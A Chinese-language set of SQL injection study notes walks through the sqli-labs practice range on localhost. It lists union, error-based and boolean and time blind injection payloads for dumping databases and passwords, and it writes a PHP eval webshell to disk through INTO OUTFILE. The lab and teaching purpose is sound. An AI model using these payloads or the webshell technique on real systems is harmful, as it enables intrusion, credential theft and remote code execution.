当前位置: 首页 > news >正文

SQL注入学习笔记

面试官一般问的问题:

        sql的注入点,注入语句,用过sqlmap吗,自动化注入工具的一些参数什么意思,过滤了关键词关键字你的绕过方案,sql注入的防御措施,在所有场景下都可以生效吗

        MySQL如何生成webshell:

                root权限

                web物理路径

                        框架报错

                        @@datadir去猜

                secure_file_priv为空,不是null

               

                        

数据库知识铺垫

mysql系统库以及怎么查询信息

        SQL注入中最常见利用的系统数据库,经常利用系统数据库配合union联合查询来获取数据库相关信息,因为系统数据库中所有信息都在这个数据库里面,比如所有数据库名、所有的表名、列名以及列名的数据库类型等 这里主要关注MYSQL系统数据库information_schema,关注系统数据库的表columns和schema表以及tables表

        SCHEMATA表:提供了关于数据库的信息

        COLUMNS表:给出了表中的列信息

        TABLES表:给出了关于数据库中的表的信息

  

下面接着看这三个表都有什么信息我们在SQL注入中可以用到的列。

  • 这个表里面存放的数据库信息,这个表里面最关键的就是schema_name列,这里面存放了所有数据库名称,查询这个列所有的值即可拿到所有数据库名,这里还有其他列名,如图

                查询这个表schema_name的值,即查询所有数据库名

  • columns表给出了所有表中的所有列信息,但是同时也包含了数据库名,所有表名,所有列名值对应列column_name,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他列信息,如图,但是这里暂时只关注此三个列。

                同表schemata一样,查询columns表里面的table_schema列一样可以得到所有数据库名

                查询当前数据库所有列

                查询当前所有表名

  • tables表给出了所有表的信息,但是同时也包含了数据库名,所有表名,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他表的信息,如图,但是这里暂时只关注此两个列

                同表columns以及schemata一样,查询tables表里面的table_schema列一样可以得到所有数据库名

                同columns表一样,从tables表里面的所有表名

假如你知道要注入的数据库是ctf,要查其中的表:

继续查询user表中的所有列:

mysql函数

SQL函数是在SQL注入中用的比较多的,经常利用SQL函数来判断数据库的版本,当前用户,当前用户权限以及数据库的安装路径等等,以下是常用的MYSQL函数:

  • user()用户名 

  • current_user()    当前用户名
  • database()      数据库名
  • version()          mysql数据库版本
  • @@datadir       数据库路径///可以用这个去猜网站路径

  • substr()   截取函数

从第一个字符截取,截取长度为1//////截取位置可以是负数,为倒叙截取

  • if()    判断语句

当第一个为真走中间,为假走第三个

  • mid()和substr()一样,但是mid三个参数都必须有,subtsr长度可以没有

  • ascii()        ASCII() 函数仅关注字符串的第一个字符,并返回该字符对应的 ASCII 编码值。ASCII 码是用于表示字符的标准编码

  • concat()   连接函数
  • group_concat()  将大量的查询连接成一行,又时回显信息只允许一行

sql靶场学习

靶场部署

第一步:

sqli-labs下载:https://github.com/Audi-1/sqli-labs

phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip

第二步:

解压放在phpstudy的www下

第三步:

进入

修改user和passwd

第四步:

点击安装

学习前的准备

数据库连接工具

sqlmap

level-1        只检测get传参

level-2        cookie标头也会进行SQL注入测试

level-3        user-agent进行SQL注入检测

risk-1        默认自己测

risk-2        时间盲注,and

risk-3        时间盲注,or

--bdms=musql    确定数据库类型

使用哪种sql注入技术

BEUSTQ

E:报错注入

U:联合注入

T:时间盲注

B:bool盲注

S:堆叠

Q:直接查

看是不是一个root权限

查看mysql中的用户

        

用户密码(一般为哈希值)

        cmd5.com哈希转换网站

        somd5.com

脱库

权限都大,可以在sqlmap上执行sql语句(root只能执行查询)

shell

udf提权


表分为,用户表和管理员表

如何从用户表------>管理员表

union 两表联合查询,字段一致

mysql的注释符

单行:

--空格      --+   --%20

#

多行:

/* */

  • 1. http://127.0.0.1/sqli/Less-1/?id=1’     查看是否有注入
  • 2.   http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+   查看有多少列
  • 3.  http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
  • 4. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+  查看当前数据库
  • 5. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+  查看数据库security,或者是:   http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
  • 6. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的表
  • 7. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所有的列信息
  • 8. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 直接可以得到所有的账号和密码,并且使用~符号进行分割。

常见的报错函数

1.ST_LatFromGeoHash()(mysql>=5.7.x)

payload

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

2.ST_LongFromGeoHash(mysql>=5.7.x)

payload

#同 8 ,都使用了嵌套查询

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

3.GTID (MySQL >= 5.6.X - 显错<=200)

0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID_SUBSET() 和 GTID_SUBTRACT()函数

‘        

0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

        

        

0x03 注入过程( payload )

GTID_SUBSET函数

') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

GTID_SUBTRACT

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

函数都是那样,只是适用的版本不同

4.floor(8.x>mysql>5.0)

获取数据库版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

#获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

#获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

#获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

5.ST_Pointfromgeohash (mysql>=5.7)

获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

获取表数据

sql注入原因

sql注入分类

sql注入绕过 一部分

sql注入防御 waf防御 过滤函数来防御 pdo

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

获取字段里面的数据

')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

6 updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

7 extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

关卡

less-1

方法一:(字符型注入)

看源码无任何限制

第一步:查看是否可以注入

?id=1'  --+

第二步:看有几列,因为uion联合查询需要相同的列才可以查询

?id=1'  order  by  3 --+

第四行排序报错,第三行排序,没问题。所以是三列

第三步:看哪几列可以回显到页面

?id=-1' union select 1,2,3--+

发现二三列可以回显,-1 是为了让原始查询无结果,从而让 UNION 后的查询结果 “上位” 显示,核心作用是绕过原始查询逻辑

第四步:查询数据库

?id=-1%27 union select 1,2,database()--+

第五步:查看表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第六步:查询user表单列信息

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

第七步:查看账号密码

?id=-1’ union select 1,2,group_concat(username,'0x7e',password)) from security.users --+ 直接可以得到所有的账号和密码,并且使用~符号进行分割。

方法二:(报错型注入)

通过mysql自带的函数来进行查询,会产生报错,通过报错爆出来

?id=1' and updatexml(1,database(),1)--+

用中间的写和之前一样语句

        

        

        

        

?id=1' and updatexml(1,select group_concat(table_name) from information_schema.tables where table_schema='security' ,1)--+

查询大量数据时,这个报错函数有回显的字符限制,32,

        

可以用limit

        

也可以用substr截取

?id=1' and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema='security')32,100) ,1)--+

补:

加入单词边界,过滤

不用报错该怎么查询

用e1连接1和union,le科学计数法,相当于10,mysql可以使用科学计数法

less-2

数字型注入和关卡一一样,只是没有’分隔

less-3

闭合方式不一样,但是大致还是和less-1一样

less-4

“)的闭合方式

less-5

前端没有回显,就不可以用联合查询了

但是其还可以sql函数报错

less-6

闭合方式不同,不可以回显到前端

就继续用报错注入

less-7

这题没有回显,不可以用联合,但是有报错,所以可以用报错注入

但是它要求用outfile,写文件

写入webshell要满足三个要求:

  • root权限
  • 知道网站物理路径
  •   secure_file_priv为空,不是null,或者为www下路径
    • 空,就是都可以写入
    • null,不可以写
    • 固定路径,只能在该路径写入

1. show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=

        

2. 一句话木马:php版本:<?php @eval($_POST[“crow”]);?> 其中crow是密码 补充:

        

3. load_file()  读取本地文件  select load_file('C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.txt’);

        

4. into outfile 写文件                                        用法: select 'mysql is very good' into outfile 'test1.txt‘;                                                                              

1. http://127.0.0.1/sqli/Less-7/?id=1‘)) order by 3--+ 查看有多少列

2. http://127.0.0.1/sqli/Less-7/?id=-1‘)) union select 1,2,’<?php @eval($_POST[“crow”]);?>‘ into outfile “C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php” --+ 将一句话木马写入其中

3. 使用蚁剑访问即可!

写正常的payload

?id=1‘)) union%20select 1,2,‘<?php phpinfo(); ?>’  into outfile "E:\\studyTool\\phpstudy\\phpstudy_pro\\WWW\\SQL\\Less-7\\web.php" --+

less-8

没有回显查询信息,没有报错回显,但是有一个简单的页面回显

现在页面只有两个状态

错误:

成功:

方法1:(布尔盲注)

1. http://127.0.0.1/sqli/Less-8/?id=1’ 判断此时存在注入漏洞

        

2.  http://127.0.0.1/sqli/Less-8/?id=1‘ order by 3--+   当3改为4的时候,you are in….消失,说明存在三列。

        

3. http://127.0.0.1/sqli/Less-8/?id=1' and left((select database()),1)=0x73 --+猜出来当前第一位是s 或者是使用: http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+ 此时是有回显的。

        

4. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+ 先通过大于号或者小于号来判断数据库的第一个字母是哪一个,也可以使用http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s

        

5. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+ 判断security数据库中的第4个表中的数据的第一位是否大于11, 也可以使用 http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+ 验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u

6. http://127.0.0.1/sqli/Less-8/?id=1‘ and  ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+ 同理,进行判断表中的字段,然后进行判断。可以得到username,password;

        

7. http://127.0.0.1/sqli/Less-8/?id=1‘  and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+ 同理,进行判断,最后再使用password进行判断。

        

8. 因为猜解速度较慢,可以配合burpsuite或者是sqlmap的脚本来使用。

方法二:(时间盲注)

1. http://127.0.0.1/sqli/Less-8/?id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞。当然判断是否存在注入漏洞的方法很多。

        

2.  http://127.0.0.1/sqli/Less-8/?id=1‘ and if(length(database()) = 8,1,sleep(5))--+ 当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)

        

3. http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

        

4. http://127.0.0.1/sqli/Less-8/?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ 同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。

        

5. 其余步骤与法一基本类似,可以采用burpsuite或者是sql盲注脚本使用。

也可以用python写脚本

http://www.xdnf.cn/news/1290169.html

相关文章:

  • LeetCode Day5 -- 栈、队列、堆
  • 前后端分离项目中Spring MVC的请求执行流程
  • 肖臻《区块链技术与应用》第十讲:深入解析硬分叉与软分叉
  • 用 Spring 思维快速上手 DDD——以 Kratos 为例的分层解读
  • provide()函数和inject()函数
  • 数据结构:后缀表达式:结合性 (Associativity) 与一元运算符 (Unary Operators)
  • ZKmall开源商城的容灾之道:多地域部署与故障切换如何守护电商系统
  • 21.Linux HTTPS服务
  • 【GESP】C++一级知识点之【集成开发环境】
  • 备战国赛算法讲解——马尔科夫链,2025国赛数学建模B题详细思路模型更新
  • UE5.3 C++ 动态多播实战总结
  • SQL 生成日期与产品的所有组合:CROSS JOIN(笛卡尔积)
  • JVM宝典
  • 每日五个pyecharts可视化图表-line:从入门到精通 (4)
  • 什么时候用WS(WebSocket),什么使用用SSE(Server-Sent Events)?
  • Pytest项目_day13(usefixture方法、params、ids)
  • 机器学习处理文本数据
  • linux 开机进入initramfs无法开机
  • 串口通信学习
  • 数据分析专栏记录之 -基础数学与统计知识
  • Spring-Cache 缓存数据
  • windows git安装步骤
  • XGBoost 的适用场景以及与 CNN、LSTM 的区别
  • 网络协议——HTTP协议
  • Linux服务:Apache 虚拟主机配置指南:多站点部署三种方式详解
  • 【超详细!题解|两种做法】洛谷P3196 [HNOI2008] 神奇的国度[MCS算法]
  • 深入剖析 React 合成事件:透过 onClick 看本质
  • 过程设计工具深度解析-软件工程之详细设计(补充篇)
  • Nginx 高级配置
  • 【后端】Spring @Resource和@Autowired的用法和区别